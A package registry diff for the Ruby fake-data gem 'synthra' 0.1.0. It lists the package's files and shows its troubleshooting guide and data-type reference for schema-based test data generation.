synthra 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.rspec +4 -0
- data/.rubocop.yml +40 -0
- data/.yardopts +18 -0
- data/ACCESS_DOCS.md +116 -0
- data/ADVANCED_FEATURES_SUMMARY.md +245 -0
- data/CHANGELOG.md +498 -0
- data/CODE_OF_CONDUCT.md +122 -0
- data/CONTRIBUTING.md +307 -0
- data/DOCUMENTATION.md +204 -0
- data/DOCUMENTATION_GUIDE.md +194 -0
- data/LICENSE +22 -0
- data/README.md +1458 -0
- data/Rakefile +128 -0
- data/benchmark/README.md +591 -0
- data/benchmark/batch_generation.rb +63 -0
- data/benchmark/engine_comparison.rb +295 -0
- data/benchmark/single_record.rb +108 -0
- data/benchmark/streaming.rb +74 -0
- data/docs/ACTIVERECORD_INFERENCE.md +524 -0
- data/docs/API_SERVER.md +278 -0
- data/docs/CONFIG_FILE.md +315 -0
- data/docs/DATA_CONTRACTS.md +312 -0
- data/docs/ENHANCED_REPL.md +304 -0
- data/docs/FACTORY_BOT.md +271 -0
- data/docs/GITHUB_ACTION.md +420 -0
- data/docs/GRAPHQL_EXPORT.md +303 -0
- data/docs/GRAPHQL_FEDERATION.md +651 -0
- data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
- data/docs/LSP.md +189 -0
- data/docs/MIGRATION_GENERATOR.md +547 -0
- data/docs/MOCK_SERVER.md +280 -0
- data/docs/NATIVE_ENGINE.md +298 -0
- data/docs/OPENAPI_EXPORT.md +252 -0
- data/docs/PERFORMANCE_MODE.md +228 -0
- data/docs/PERSONAS.md +547 -0
- data/docs/PROPERTY_TESTING.md +284 -0
- data/docs/PROTOBUF_EXPORT.md +276 -0
- data/docs/QUALITY_METRICS.md +555 -0
- data/docs/QUICK_REFERENCE.md +88 -0
- data/docs/RAILS_ENGINE.md +404 -0
- data/docs/RAILS_INTEGRATION.md +454 -0
- data/docs/README.md +175 -0
- data/docs/REPL_QUICK_REFERENCE.md +149 -0
- data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
- data/docs/SCENARIOS.md +576 -0
- data/docs/SECURITY_TESTING.md +318 -0
- data/docs/SNAPSHOT_TESTING.md +308 -0
- data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
- data/docs/TERRAFORM_EXPORT.md +447 -0
- data/docs/TIME_TRAVEL.md +507 -0
- data/docs/USAGE_GUIDE.md +980 -0
- data/docs/WEBHOOK_SIMULATOR.md +579 -0
- data/docs/advanced_features.md +183 -0
- data/docs/api_reference.md +153 -0
- data/docs/behaviors.md +138 -0
- data/docs/best_practices.md +191 -0
- data/docs/dsl_reference.md +172 -0
- data/docs/examples.md +162 -0
- data/docs/generation_modes.md +125 -0
- data/docs/getting_started.md +92 -0
- data/docs/index.html +177 -0
- data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
- data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
- data/docs/troubleshooting.md +215 -0
- data/docs/type_reference.md +224 -0
- data/examples/hostile_mode_demo.rb +64 -0
- data/exe/synthra +6 -0
- data/ext/synthra_native/Cargo.lock +972 -0
- data/ext/synthra_native/Cargo.toml +46 -0
- data/ext/synthra_native/extconf.rb +41 -0
- data/ext/synthra_native/src/generator.rs +397 -0
- data/ext/synthra_native/src/lib.rs +229 -0
- data/ext/synthra_native/src/types.rs +1485 -0
- data/lib/generators/synthra/install_generator.rb +86 -0
- data/lib/generators/synthra/templates/api_response.dsl +15 -0
- data/lib/generators/synthra/templates/fake_data.rake +116 -0
- data/lib/generators/synthra/templates/synthra.yml +31 -0
- data/lib/generators/synthra/templates/synthra_support.rb +19 -0
- data/lib/generators/synthra/templates/user.dsl +11 -0
- data/lib/synthra/activerecord_inference.rb +394 -0
- data/lib/synthra/api.rb +381 -0
- data/lib/synthra/api_server.rb +718 -0
- data/lib/synthra/behaviors/applicator.rb +165 -0
- data/lib/synthra/behaviors/base.rb +155 -0
- data/lib/synthra/behaviors/close_connection.rb +60 -0
- data/lib/synthra/behaviors/deprecated.rb +100 -0
- data/lib/synthra/behaviors/failure.rb +69 -0
- data/lib/synthra/behaviors/latency.rb +103 -0
- data/lib/synthra/behaviors/partial_data.rb +83 -0
- data/lib/synthra/behaviors/randomize_order.rb +74 -0
- data/lib/synthra/behaviors/registry.rb +238 -0
- data/lib/synthra/behaviors/simulate_error.rb +79 -0
- data/lib/synthra/cli/commands/base.rb +105 -0
- data/lib/synthra/cli/commands/diff.rb +227 -0
- data/lib/synthra/cli/commands/docs.rb +67 -0
- data/lib/synthra/cli/commands/export.rb +150 -0
- data/lib/synthra/cli/commands/generate.rb +72 -0
- data/lib/synthra/cli/commands/import.rb +80 -0
- data/lib/synthra/cli/commands/lint.rb +53 -0
- data/lib/synthra/cli/commands/live.rb +57 -0
- data/lib/synthra/cli/commands/seed.rb +99 -0
- data/lib/synthra/cli/commands/validate.rb +28 -0
- data/lib/synthra/cli.rb +2471 -0
- data/lib/synthra/config_file.rb +129 -0
- data/lib/synthra/configuration.rb +281 -0
- data/lib/synthra/contracts_registry.rb +408 -0
- data/lib/synthra/database_seeder.rb +268 -0
- data/lib/synthra/deterministic_ids.rb +218 -0
- data/lib/synthra/documentation_generator.rb +414 -0
- data/lib/synthra/engine.rb +251 -0
- data/lib/synthra/errors.rb +1169 -0
- data/lib/synthra/export/base.rb +85 -0
- data/lib/synthra/export/csv.rb +101 -0
- data/lib/synthra/export/graphql.rb +266 -0
- data/lib/synthra/export/graphql_federation.rb +377 -0
- data/lib/synthra/export/graphviz.rb +258 -0
- data/lib/synthra/export/javascript.rb +327 -0
- data/lib/synthra/export/json_data.rb +61 -0
- data/lib/synthra/export/json_schema.rb +290 -0
- data/lib/synthra/export/openapi.rb +514 -0
- data/lib/synthra/export/protobuf.rb +483 -0
- data/lib/synthra/export/python.rb +560 -0
- data/lib/synthra/export/sql.rb +381 -0
- data/lib/synthra/export/sql_insert.rb +152 -0
- data/lib/synthra/export/terraform.rb +501 -0
- data/lib/synthra/export/type_mapping.rb +389 -0
- data/lib/synthra/export/typescript.rb +300 -0
- data/lib/synthra/export/xml_data.rb +104 -0
- data/lib/synthra/export/yaml_data.rb +56 -0
- data/lib/synthra/export.rb +404 -0
- data/lib/synthra/factory_bot_integration.rb +157 -0
- data/lib/synthra/field.rb +440 -0
- data/lib/synthra/functions/registry.rb +104 -0
- data/lib/synthra/generator/context.rb +372 -0
- data/lib/synthra/generator/engine.rb +336 -0
- data/lib/synthra/generator/faker_adapter.rb +425 -0
- data/lib/synthra/generator/modes.rb +444 -0
- data/lib/synthra/generator/resolver.rb +256 -0
- data/lib/synthra/generator/rng.rb +273 -0
- data/lib/synthra/generator/streamer.rb +63 -0
- data/lib/synthra/generator/uniqueness.rb +118 -0
- data/lib/synthra/initializer.rb +97 -0
- data/lib/synthra/limits.rb +279 -0
- data/lib/synthra/live_preview.rb +518 -0
- data/lib/synthra/loader_config.rb +78 -0
- data/lib/synthra/lsp/server.rb +689 -0
- data/lib/synthra/migration_generator.rb +301 -0
- data/lib/synthra/mixin.rb +174 -0
- data/lib/synthra/mock_server.rb +458 -0
- data/lib/synthra/native_engine.rb +304 -0
- data/lib/synthra/openapi_importer.rb +228 -0
- data/lib/synthra/output/json_formatter.rb +40 -0
- data/lib/synthra/output/ndjson_formatter.rb +55 -0
- data/lib/synthra/parser/ast.rb +1287 -0
- data/lib/synthra/parser/lexer.rb +1152 -0
- data/lib/synthra/parser/parser.rb +1664 -0
- data/lib/synthra/parser/tokens.rb +461 -0
- data/lib/synthra/performance_mode.rb +364 -0
- data/lib/synthra/personas.rb +397 -0
- data/lib/synthra/property_testing.rb +172 -0
- data/lib/synthra/quality_metrics.rb +405 -0
- data/lib/synthra/rails_test_helper.rb +248 -0
- data/lib/synthra/registry.rb +533 -0
- data/lib/synthra/relationships.rb +193 -0
- data/lib/synthra/repl/enhanced_repl.rb +607 -0
- data/lib/synthra/repl/formatter.rb +191 -0
- data/lib/synthra/scenarios.rb +423 -0
- data/lib/synthra/schema.rb +605 -0
- data/lib/synthra/schema_inheritance.rb +104 -0
- data/lib/synthra/schema_versioning.rb +212 -0
- data/lib/synthra/snapshot_testing.rb +199 -0
- data/lib/synthra/time_travel.rb +338 -0
- data/lib/synthra/type_definitions.rb +274 -0
- data/lib/synthra/types/address_location/addresses.rb +125 -0
- data/lib/synthra/types/address_location/airports.rb +200 -0
- data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
- data/lib/synthra/types/address_location/locations.rb +406 -0
- data/lib/synthra/types/base.rb +48 -0
- data/lib/synthra/types/commerce_products/commerce.rb +119 -0
- data/lib/synthra/types/commerce_products/companies.rb +71 -0
- data/lib/synthra/types/commerce_products/construction.rb +126 -0
- data/lib/synthra/types/commerce_products/products.rb +205 -0
- data/lib/synthra/types/core/collections.rb +513 -0
- data/lib/synthra/types/core/defaults.rb +76 -0
- data/lib/synthra/types/core/enums.rb +102 -0
- data/lib/synthra/types/core/identifiers.rb +445 -0
- data/lib/synthra/types/core/primitives.rb +586 -0
- data/lib/synthra/types/core/references.rb +466 -0
- data/lib/synthra/types/core/sequences.rb +304 -0
- data/lib/synthra/types/crypto/crypto.rb +162 -0
- data/lib/synthra/types/date_time/dates.rb +387 -0
- data/lib/synthra/types/finance_banking/banking.rb +424 -0
- data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
- data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
- data/lib/synthra/types/formula.rb +184 -0
- data/lib/synthra/types/health_medical/medical.rb +150 -0
- data/lib/synthra/types/hostile_payloads.rb +122 -0
- data/lib/synthra/types/json_array.rb +51 -0
- data/lib/synthra/types/media_entertainment/media.rb +62 -0
- data/lib/synthra/types/naughty_string.rb +30 -0
- data/lib/synthra/types/personal_names/chinese.rb +41 -0
- data/lib/synthra/types/personal_names/identifiers.rb +187 -0
- data/lib/synthra/types/personal_names/names.rb +246 -0
- data/lib/synthra/types/personal_names/national_id.rb +89 -0
- data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
- data/lib/synthra/types/regex.rb +248 -0
- data/lib/synthra/types/registry.rb +182 -0
- data/lib/synthra/types/repeating_element.rb +50 -0
- data/lib/synthra/types/scenario.rb +29 -0
- data/lib/synthra/types/technology_internet/apps.rb +67 -0
- data/lib/synthra/types/technology_internet/communication.rb +162 -0
- data/lib/synthra/types/technology_internet/devices.rb +80 -0
- data/lib/synthra/types/technology_internet/formats.rb +139 -0
- data/lib/synthra/types/technology_internet/networking.rb +143 -0
- data/lib/synthra/types/template.rb +92 -0
- data/lib/synthra/types/text_content/business.rb +128 -0
- data/lib/synthra/types/text_content/colors.rb +70 -0
- data/lib/synthra/types/text_content/misc.rb +237 -0
- data/lib/synthra/types/text_content/security.rb +130 -0
- data/lib/synthra/types/text_content/text_generation.rb +532 -0
- data/lib/synthra/types/travel/travel.rb +150 -0
- data/lib/synthra/utils/string_distance.rb +133 -0
- data/lib/synthra/validator/dsl_validator.rb +339 -0
- data/lib/synthra/validator/path_validator.rb +615 -0
- data/lib/synthra/version.rb +35 -0
- data/lib/synthra/webhook_simulator.rb +341 -0
- data/lib/synthra.rb +259 -0
- data/schemas/address.dsl +16 -0
- data/schemas/api_response.dsl +8 -0
- data/schemas/error_payload.dsl +9 -0
- data/schemas/order.dsl +10 -0
- data/schemas/order_item.dsl +8 -0
- data/schemas/payment.dsl +11 -0
- data/schemas/social_post.dsl +13 -0
- data/schemas/user.dsl +10 -0
- data/scripts/batch_fix_all.rb +96 -0
- data/scripts/delete_old_files.rb +32 -0
- data/scripts/fix_all_grouped_files.rb +137 -0
- data/scripts/fix_all_indentation.rb +48 -0
- data/scripts/fix_all_syntax.rb +124 -0
- data/scripts/fix_grouped_files.rb +184 -0
- data/scripts/fix_syntax_errors.rb +108 -0
- data/scripts/group_domain_types.rb +112 -0
- data/scripts/group_domain_types_fixed.rb +150 -0
- data/scripts/merge_domains_to_one_file.rb +68 -0
- data/scripts/move_existing_types.rb +130 -0
- data/scripts/split_grouped_types.rb +142 -0
- data/tech_docs/README.md +134 -0
- data/tech_docs/advanced/streaming.md +405 -0
- data/tech_docs/advanced/thread_safety.md +253 -0
- data/tech_docs/api/overview.md +485 -0
- data/tech_docs/appendices/type_chart.md +193 -0
- data/tech_docs/basic_concepts.md +383 -0
- data/tech_docs/behaviors/overview.md +346 -0
- data/tech_docs/dsl/complex_types.md +790 -0
- data/tech_docs/dsl/core_types.md +464 -0
- data/tech_docs/dsl/datetime_types.md +325 -0
- data/tech_docs/dsl/field_modifiers.md +414 -0
- data/tech_docs/dsl/grammar.md +431 -0
- data/tech_docs/dsl/schema_definition.md +399 -0
- data/tech_docs/export/README.md +276 -0
- data/tech_docs/installation.md +273 -0
- data/tech_docs/integration/ci_cd.md +707 -0
- data/tech_docs/integration/ci_cd_guide.md +579 -0
- data/tech_docs/integration/factory_bot.md +485 -0
- data/tech_docs/integration/rails.md +630 -0
- data/tech_docs/integration/rspec.md +449 -0
- data/tech_docs/modes/overview.md +350 -0
- data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
- data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
- data/tech_docs/quick_start.md +256 -0
- data/tech_docs/templates/README.md +805 -0
- data/tech_docs/tutorials/advanced.md +371 -0
- data/tech_docs/tutorials/getting_started.md +189 -0
- data/tech_docs/tutorials/intermediate.md +231 -0
- data/tech_docs/tutorials/template_gallery.md +569 -0
- data/tech_example/01_basic_usage.rb +238 -0
- data/tech_example/02_types_demo.rb +336 -0
- data/tech_example/04_cli_usage.md +429 -0
- data/tech_example/05_database_seeding.rb +283 -0
- data/tech_example/07_rspec_integration.rb +359 -0
- data/tech_example/10_custom_types.rb +387 -0
- data/tech_example/12_behaviors.rb +372 -0
- data/tech_example/13_twitter_dm_example.rb +120 -0
- data/tech_example/14_exact_json_structure.rb +253 -0
- data/tech_example/16_lsp_server.rb +56 -0
- data/tech_example/17_property_testing.rb +92 -0
- data/tech_example/18_enhanced_repl.rb +120 -0
- data/tech_example/19_security_fuzzing.rb +145 -0
- data/tech_example/NEW_FEATURES.md +169 -0
- data/tech_example/README.md +118 -0
- data/tech_example/schemas/api_response.dsl +123 -0
- data/tech_example/schemas/ecommerce.dsl +121 -0
- data/tech_example/schemas/twitter_dm.dsl +109 -0
- data/tech_example/schemas/user.dsl +36 -0
- data/vscode-extension/README.md +246 -0
- data/vscode-extension/language-configuration.json +31 -0
- data/vscode-extension/package.json +55 -0
- data/vscode-extension/snippets/fakedatadsl.json +198 -0
- data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
- metadata +478 -0
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
# Troubleshooting
|
|
2
|
+
|
|
3
|
+
Common issues and solutions when using FakeDataDSL.
|
|
4
|
+
|
|
5
|
+
## Common Errors
|
|
6
|
+
|
|
7
|
+
### ParseError
|
|
8
|
+
|
|
9
|
+
**Problem:** Schema syntax error
|
|
10
|
+
|
|
11
|
+
```ruby
|
|
12
|
+
# Error: ParseError: Unexpected token at line 3
|
|
13
|
+
User:
|
|
14
|
+
id: uuid
|
|
15
|
+
name: name
|
|
16
|
+
email # Missing colon
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
**Solution:** Check syntax, ensure all fields have colons
|
|
20
|
+
|
|
21
|
+
```ruby
|
|
22
|
+
User:
|
|
23
|
+
id: uuid
|
|
24
|
+
name: name
|
|
25
|
+
email: email # Fixed
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
### UnknownTypeError
|
|
29
|
+
|
|
30
|
+
**Problem:** Type not recognized
|
|
31
|
+
|
|
32
|
+
```ruby
|
|
33
|
+
# Error: UnknownTypeError: Unknown type 'mytype'
|
|
34
|
+
User:
|
|
35
|
+
value: mytype
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
**Solution:** Register the type or use correct type name
|
|
39
|
+
|
|
40
|
+
```ruby
|
|
41
|
+
# Option 1: Register custom type
|
|
42
|
+
FakeDataDSL.register_type(:mytype) { |rng| "value" }
|
|
43
|
+
|
|
44
|
+
# Option 2: Use correct type name
|
|
45
|
+
User:
|
|
46
|
+
value: text
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### CyclicReferenceError
|
|
50
|
+
|
|
51
|
+
**Problem:** Circular references between schemas
|
|
52
|
+
|
|
53
|
+
```ruby
|
|
54
|
+
# Error: CyclicReferenceError
|
|
55
|
+
User:
|
|
56
|
+
order_id: reference(Order, id)
|
|
57
|
+
|
|
58
|
+
Order:
|
|
59
|
+
user_id: reference(User, id)
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
**Solution:** Break the cycle or use different approach
|
|
63
|
+
|
|
64
|
+
```ruby
|
|
65
|
+
# Option 1: Remove one reference
|
|
66
|
+
User:
|
|
67
|
+
id: uuid
|
|
68
|
+
|
|
69
|
+
Order:
|
|
70
|
+
user_id: reference(User, id)
|
|
71
|
+
|
|
72
|
+
# Option 2: Use separate field
|
|
73
|
+
User:
|
|
74
|
+
id: uuid
|
|
75
|
+
orders: array(reference(Order, id))
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### RecursionLimitError
|
|
79
|
+
|
|
80
|
+
**Problem:** Too deep recursion
|
|
81
|
+
|
|
82
|
+
```ruby
|
|
83
|
+
# Error: RecursionLimitError
|
|
84
|
+
# Deeply nested references
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
**Solution:** Increase limit or reduce nesting
|
|
88
|
+
|
|
89
|
+
```ruby
|
|
90
|
+
# Increase limit
|
|
91
|
+
FakeDataDSL.configure do |config|
|
|
92
|
+
config.max_recursion = 20
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
# Or reduce nesting depth
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
### UniquenessError
|
|
99
|
+
|
|
100
|
+
**Problem:** Cannot satisfy uniqueness constraint
|
|
101
|
+
|
|
102
|
+
```ruby
|
|
103
|
+
# Error: UniquenessError
|
|
104
|
+
User:
|
|
105
|
+
email: email unique # Only 2 possible values, but need 100 unique
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
**Solution:** Use more diverse types or remove uniqueness
|
|
109
|
+
|
|
110
|
+
```ruby
|
|
111
|
+
# Option 1: Use more diverse type
|
|
112
|
+
User:
|
|
113
|
+
email: email # Remove unique if not needed
|
|
114
|
+
|
|
115
|
+
# Option 2: Use UUID for guaranteed uniqueness
|
|
116
|
+
User:
|
|
117
|
+
id: uuid unique
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Performance Issues
|
|
121
|
+
|
|
122
|
+
### Slow Generation
|
|
123
|
+
|
|
124
|
+
**Problem:** Generation is too slow
|
|
125
|
+
|
|
126
|
+
**Solutions:**
|
|
127
|
+
- Reduce latency behaviors
|
|
128
|
+
- Use simpler types
|
|
129
|
+
- Increase resource limits
|
|
130
|
+
- Use streaming for large datasets
|
|
131
|
+
|
|
132
|
+
```ruby
|
|
133
|
+
# Remove latency
|
|
134
|
+
User:
|
|
135
|
+
# @latency 100ms # Remove if not needed
|
|
136
|
+
id: uuid
|
|
137
|
+
name: name
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
### Memory Issues
|
|
141
|
+
|
|
142
|
+
**Problem:** Out of memory with large datasets
|
|
143
|
+
|
|
144
|
+
**Solution:** Use streaming
|
|
145
|
+
|
|
146
|
+
```ruby
|
|
147
|
+
# Good - memory efficient
|
|
148
|
+
schema.generate_many_stream(100000).each do |record|
|
|
149
|
+
process(record)
|
|
150
|
+
end
|
|
151
|
+
|
|
152
|
+
# Bad - loads all into memory
|
|
153
|
+
records = schema.generate_many(100000)
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
## Data Quality Issues
|
|
157
|
+
|
|
158
|
+
### Unrealistic Data
|
|
159
|
+
|
|
160
|
+
**Problem:** Generated data doesn't look realistic
|
|
161
|
+
|
|
162
|
+
**Solution:** Use appropriate types and ranges
|
|
163
|
+
|
|
164
|
+
```ruby
|
|
165
|
+
# Good - realistic
|
|
166
|
+
User:
|
|
167
|
+
age: number(18..65)
|
|
168
|
+
email: email
|
|
169
|
+
created_at: past_date(days: 365)
|
|
170
|
+
|
|
171
|
+
# Bad - unrealistic
|
|
172
|
+
User:
|
|
173
|
+
age: number(0..1000)
|
|
174
|
+
email: text
|
|
175
|
+
created_at: text
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
### Missing Fields
|
|
179
|
+
|
|
180
|
+
**Problem:** Fields are sometimes missing
|
|
181
|
+
|
|
182
|
+
**Solution:** Check for optional/partial_data behaviors
|
|
183
|
+
|
|
184
|
+
```ruby
|
|
185
|
+
# Remove optional if not needed
|
|
186
|
+
User:
|
|
187
|
+
# phone: phone optional # Remove optional
|
|
188
|
+
phone: phone
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
## Configuration Issues
|
|
192
|
+
|
|
193
|
+
### Seed Not Working
|
|
194
|
+
|
|
195
|
+
**Problem:** Different data with same seed
|
|
196
|
+
|
|
197
|
+
**Solution:** Ensure seed is set before generation
|
|
198
|
+
|
|
199
|
+
```ruby
|
|
200
|
+
# Good - set seed first
|
|
201
|
+
FakeDataDSL.configure { |c| c.seed = 12345 }
|
|
202
|
+
record = schema.generate
|
|
203
|
+
|
|
204
|
+
# Bad - set seed after
|
|
205
|
+
record = schema.generate
|
|
206
|
+
FakeDataDSL.configure { |c| c.seed = 12345 }
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
## Getting Help
|
|
210
|
+
|
|
211
|
+
- Check [Examples](examples.md) for usage patterns
|
|
212
|
+
- Review [DSL Reference](dsl_reference.md) for syntax
|
|
213
|
+
- See [Best Practices](best_practices.md) for recommendations
|
|
214
|
+
- Open an issue on GitHub
|
|
215
|
+
|
|
@@ -0,0 +1,224 @@
|
|
|
1
|
+
# Type Reference
|
|
2
|
+
|
|
3
|
+
Complete reference for all available data types in FakeDataDSL.
|
|
4
|
+
|
|
5
|
+
## Basic Types
|
|
6
|
+
|
|
7
|
+
### Identifiers
|
|
8
|
+
|
|
9
|
+
- **`uuid`** - UUID v4 identifier
|
|
10
|
+
```ruby
|
|
11
|
+
id: uuid
|
|
12
|
+
id: uuid(version: 6) # UUID v6
|
|
13
|
+
id: uuid(version: 7) # UUID v7
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
- **`ulid`** - ULID identifier
|
|
17
|
+
```ruby
|
|
18
|
+
id: ulid
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
- **`id_sequence`** - Sequential numeric IDs
|
|
22
|
+
```ruby
|
|
23
|
+
id: id_sequence
|
|
24
|
+
id: id_sequence(start: 1000)
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
### Strings
|
|
28
|
+
|
|
29
|
+
- **`name`** - Full person name
|
|
30
|
+
```ruby
|
|
31
|
+
name: name
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
- **`text`** - Random text
|
|
35
|
+
```ruby
|
|
36
|
+
description: text
|
|
37
|
+
bio: text(100..500) # Length range
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
- **`email`** - Email address
|
|
41
|
+
```ruby
|
|
42
|
+
email: email
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
- **`phone`** - Phone number
|
|
46
|
+
```ruby
|
|
47
|
+
phone: phone
|
|
48
|
+
phone: phone(country: :us)
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
- **`url`** - Web URL
|
|
52
|
+
```ruby
|
|
53
|
+
website: url
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### Numbers
|
|
57
|
+
|
|
58
|
+
- **`number`** - Numeric value
|
|
59
|
+
```ruby
|
|
60
|
+
age: number(18..65)
|
|
61
|
+
price: number(min: 10, max: 100)
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
- **`boolean`** - True/false
|
|
65
|
+
```ruby
|
|
66
|
+
active: boolean
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Dates and Times
|
|
70
|
+
|
|
71
|
+
- **`date`** - Calendar date
|
|
72
|
+
```ruby
|
|
73
|
+
birth_date: date
|
|
74
|
+
birth_date: date(2020-01-01..2024-12-31)
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
- **`past_date`** - Date in the past
|
|
78
|
+
```ruby
|
|
79
|
+
created_at: past_date
|
|
80
|
+
created_at: past_date(days: 30)
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
- **`future_date`** - Date in the future
|
|
84
|
+
```ruby
|
|
85
|
+
expires_at: future_date
|
|
86
|
+
expires_at: future_date(days: 90)
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
- **`timestamp`** - Unix timestamp
|
|
90
|
+
```ruby
|
|
91
|
+
created_at: timestamp
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
- **`now`** - Current timestamp
|
|
95
|
+
```ruby
|
|
96
|
+
updated_at: now
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
## Personal Information Types
|
|
100
|
+
|
|
101
|
+
- **`first_name`** - Given name
|
|
102
|
+
- **`last_name`** - Family name
|
|
103
|
+
- **`full_name`** - Combined first and last name
|
|
104
|
+
- **`gender`** - Gender identity
|
|
105
|
+
- **`age`** - Age value
|
|
106
|
+
- **`username`** - Username identifier
|
|
107
|
+
- **`national_id`** - Government ID (SSN, etc.)
|
|
108
|
+
|
|
109
|
+
## Location Types
|
|
110
|
+
|
|
111
|
+
- **`country`** - Country name
|
|
112
|
+
- **`country_code`** - ISO country code (US, GB, etc.)
|
|
113
|
+
- **`city`** - City name
|
|
114
|
+
- **`state`** - State/province name
|
|
115
|
+
- **`address`** - Full street address
|
|
116
|
+
- **`postal_code`** - Postal/ZIP code
|
|
117
|
+
- **`latitude`** - Geographic latitude
|
|
118
|
+
- **`longitude`** - Geographic longitude
|
|
119
|
+
- **`timezone`** - IANA timezone identifier
|
|
120
|
+
|
|
121
|
+
## Commerce Types
|
|
122
|
+
|
|
123
|
+
- **`product_name`** - Product name
|
|
124
|
+
- **`product_category`** - Product category
|
|
125
|
+
- **`sku`** - Stock keeping unit
|
|
126
|
+
- **`money`** - Monetary amount
|
|
127
|
+
- **`discount`** - Discount value
|
|
128
|
+
- **`tax_rate`** - Tax rate percentage
|
|
129
|
+
|
|
130
|
+
## Finance Types
|
|
131
|
+
|
|
132
|
+
- **`credit_card`** - Credit card number (Luhn-valid)
|
|
133
|
+
- **`bank_name`** - Bank name
|
|
134
|
+
- **`account_number`** - Bank account number
|
|
135
|
+
- **`iban`** - International Bank Account Number
|
|
136
|
+
- **`transaction_amount`** - Financial transaction amount
|
|
137
|
+
|
|
138
|
+
## Internet/IT Types
|
|
139
|
+
|
|
140
|
+
- **`ip`** - IPv4 address
|
|
141
|
+
- **`ipv6`** - IPv6 address
|
|
142
|
+
- **`mac_address`** - MAC address
|
|
143
|
+
- **`domain`** - Domain name
|
|
144
|
+
- **`user_agent`** - Browser user agent string
|
|
145
|
+
|
|
146
|
+
## Crypto Types
|
|
147
|
+
|
|
148
|
+
- **`hash`** - Cryptographic hash
|
|
149
|
+
- **`bitcoin_address`** - Bitcoin wallet address
|
|
150
|
+
- **`ethereum_address`** - Ethereum wallet address
|
|
151
|
+
- **`private_key`** - Cryptographic private key
|
|
152
|
+
|
|
153
|
+
## Health Types
|
|
154
|
+
|
|
155
|
+
- **`blood_type`** - Blood group (A+, B-, etc.)
|
|
156
|
+
- **`bmi`** - Body Mass Index
|
|
157
|
+
- **`heart_rate`** - Heart beats per minute
|
|
158
|
+
- **`medical_code`** - Medical classification code
|
|
159
|
+
|
|
160
|
+
## Travel Types
|
|
161
|
+
|
|
162
|
+
- **`airport_code`** - IATA airport code
|
|
163
|
+
- **`airline`** - Airline name
|
|
164
|
+
- **`flight_number`** - Flight identifier
|
|
165
|
+
- **`seat_number`** - Aircraft seat number
|
|
166
|
+
|
|
167
|
+
## Advanced Types
|
|
168
|
+
|
|
169
|
+
- **`enum`** - Enumeration with values
|
|
170
|
+
```ruby
|
|
171
|
+
status: enum(active, inactive, pending)
|
|
172
|
+
status: enum(active: 80%, inactive: 15%, pending: 5%)
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
- **`array`** - Array of values
|
|
176
|
+
```ruby
|
|
177
|
+
tags: array(text, 3..10)
|
|
178
|
+
scores: array(number(0..100), 5)
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
- **`object`** - Nested object
|
|
182
|
+
```ruby
|
|
183
|
+
address: object(
|
|
184
|
+
street: text,
|
|
185
|
+
city: city,
|
|
186
|
+
zip: postal_code
|
|
187
|
+
)
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
- **`reference`** - Reference another schema
|
|
191
|
+
```ruby
|
|
192
|
+
user_id: reference(User, id)
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
- **`custom`** - Custom function
|
|
196
|
+
```ruby
|
|
197
|
+
slug: custom(:generate_slug)
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
- **`formula`** - Computed value
|
|
201
|
+
```ruby
|
|
202
|
+
total: formula(price * quantity)
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
- **`template`** - String interpolation
|
|
206
|
+
```ruby
|
|
207
|
+
greeting: template("Hello {first_name}!")
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
- **`sequence`** - Sequential values
|
|
211
|
+
```ruby
|
|
212
|
+
order: sequence(start: 1, step: 1)
|
|
213
|
+
```
|
|
